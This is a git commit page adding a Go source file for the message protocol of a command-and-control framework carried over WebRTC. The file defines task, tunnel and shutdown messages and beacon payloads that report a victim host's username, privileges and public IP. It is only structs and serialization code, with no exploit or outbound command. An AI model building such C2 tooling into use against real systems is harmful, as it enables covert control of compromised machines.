Upload files to "rtc-c2/pkg/protocol"

2026-06-10 17:17:19 +00:00
parent 9a3617e00e
commit 069f9c1b15
2 changed files with 247 additions and 0 deletions
@@ -0,0 +1,119 @@
+// Package protocol defines the C2 message format, task types, and crypto layer
+// that runs over the WebRTC data channel transport.
+package protocol
+
+import (
+	"crypto/rand"
+	"encoding/hex"
+	"encoding/json"
+	"fmt"
+	"time"
+)
+
+// MessageType indicates the kind of C2 message.
+type MessageType string
+
+const (
+	MsgHeartbeat    MessageType = "heartbeat"
+	MsgTask         MessageType = "task"
+	MsgTaskResult   MessageType = "task_result"
+	MsgTunnelOpen   MessageType = "tunnel_open"
+	MsgTunnelData   MessageType = "tunnel_data"
+	MsgTunnelClose  MessageType = "tunnel_close"
+	MsgRegister     MessageType = "register"
+	MsgError        MessageType = "error"
+	MsgShutdown     MessageType = "shutdown"
+	MsgPing         MessageType = "ping"
+	MsgPong         MessageType = "pong"
+)
+
+// Envelope is the outer wrapper for all C2 messages.
+type Envelope struct {
+	Type      MessageType `json:"type"`
+	ID        string      `json:"id"`
+	Timestamp int64       `json:"ts"`
+	SenderID  string      `json:"sender"`
+	Payload   json.RawMessage `json:"payload,omitempty"`
+}
+
+// NewEnvelope creates a new message envelope with a random ID.
+func NewEnvelope(msgType MessageType, senderID string, payload interface{}) (*Envelope, error) {
+	id := generateID()
+
+	var raw json.RawMessage
+	if payload != nil {
+		data, err := json.Marshal(payload)
+		if err != nil {
+			return nil, fmt.Errorf("protocol: marshal payload: %w", err)
+		}
+		raw = data
+	}
+
+	return &Envelope{
+		Type:      msgType,
+		ID:        id,
+		Timestamp: time.Now().UnixMilli(),
+		SenderID:  senderID,
+		Payload:   raw,
+	}, nil
+}
+
+// Serialize returns the JSON-encoded envelope.
+func (e *Envelope) Serialize() ([]byte, error) {
+	return json.Marshal(e)
+}
+
+// ParseEnvelope decodes a JSON-encoded envelope.
+func ParseEnvelope(data []byte) (*Envelope, error) {
+	var env Envelope
+	if err := json.Unmarshal(data, &env); err != nil {
+		return nil, fmt.Errorf("protocol: parse envelope: %w", err)
+	}
+	return &env, nil
+}
+
+// ExtractPayload deserializes the payload into the given type.
+func (e *Envelope) ExtractPayload(v interface{}) error {
+	if len(e.Payload) == 0 {
+		return nil
+	}
+	return json.Unmarshal(e.Payload, v)
+}
+
+// HeartbeatPayload is sent by the beacon to indicate it's alive.
+type HeartbeatPayload struct {
+	BeaconID    string `json:"beacon_id"`
+	Hostname    string `json:"hostname"`
+	Username    string `json:"username"`
+	OS          string `json:"os"`
+	Arch        string `json:"arch"`
+	PID         int    `json:"pid"`
+	Uptime      int64  `json:"uptime"`
+	PrevTaskID  string `json:"prev_task_id,omitempty"`
+}
+
+// RegisterPayload is sent when a beacon first connects.
+type RegisterPayload struct {
+	BeaconID     string   `json:"beacon_id"`
+	Hostname     string   `json:"hostname"`
+	Username     string   `json:"username"`
+	OS           string   `json:"os"`
+	Arch         string   `json:"arch"`
+	PID          int      `json:"pid"`
+	Elevated     bool     `json:"elevated"`
+	PublicIP     string   `json:"public_ip,omitempty"`
+	Capabilities []string `json:"capabilities"`
+}
+
+// ErrorPayload carries error information.
+type ErrorPayload struct {
+	Code    int    `json:"code"`
+	Message string `json:"message"`
+	TaskID  string `json:"task_id,omitempty"`
+}
+
+func generateID() string {
+	b := make([]byte, 12)
+	rand.Read(b)
+	return hex.EncodeToString(b)
+}